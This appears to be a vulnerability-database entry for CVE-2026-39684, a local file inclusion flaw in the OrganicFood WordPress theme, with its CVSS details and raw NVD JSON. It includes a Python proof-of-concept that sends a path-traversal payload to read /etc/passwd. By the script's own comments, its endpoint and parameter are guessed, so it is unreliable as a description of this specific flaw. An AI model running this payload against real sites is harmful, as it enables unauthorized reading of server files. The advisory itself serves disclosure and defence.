Security Vulnerability Report
中文
CVE-2026-39684 CVSS 7.5 HIGH

CVE-2026-39684

Published: 2026-04-08 09:16:40
Last Modified: 2026-04-24 18:05:36

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in UnTheme OrganicFood organicfood allows PHP Local File Inclusion.This issue affects OrganicFood: from n/a through <= 3.6.4.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UnTheme OrganicFood <= 3.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-39684 - Local File Inclusion # Target: UnTheme OrganicFood Theme <= 3.6.4 import requests import sys def exploit_lfi(target_url): # Vulnerable parameter name might vary (e.g., file, page, path) # This is a generic PoC structure based on the vulnerability description traversal_payload = "../../../../../../../etc/passwd" # Constructing the malicious URL # Example endpoint structure often found in WP themes attack_url = f"{target_url}/vulnerable_endpoint.php?file={traversal_payload}" try: response = requests.get(attack_url, timeout=10) # Checking for standard Linux passwd file signature if "root:x:0:0:" in response.text: print(f"[+] Successfully exploited LFI at: {attack_url}") print("[+] Leaked /etc/passwd content:") print(response.text[:500]) else: print("[-] Exploit failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python3 cve_2026_39684_poc.py <target_url>") else: exploit_lfi(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39684", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:40.273", "lastModified": "2026-04-24T18:05:35.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in UnTheme OrganicFood organicfood allows PHP Local File Inclusion.This issue affects OrganicFood: from n/a through <= 3.6.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/organicfood/vulnerability/wordpress-organicfood-theme-3-6-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}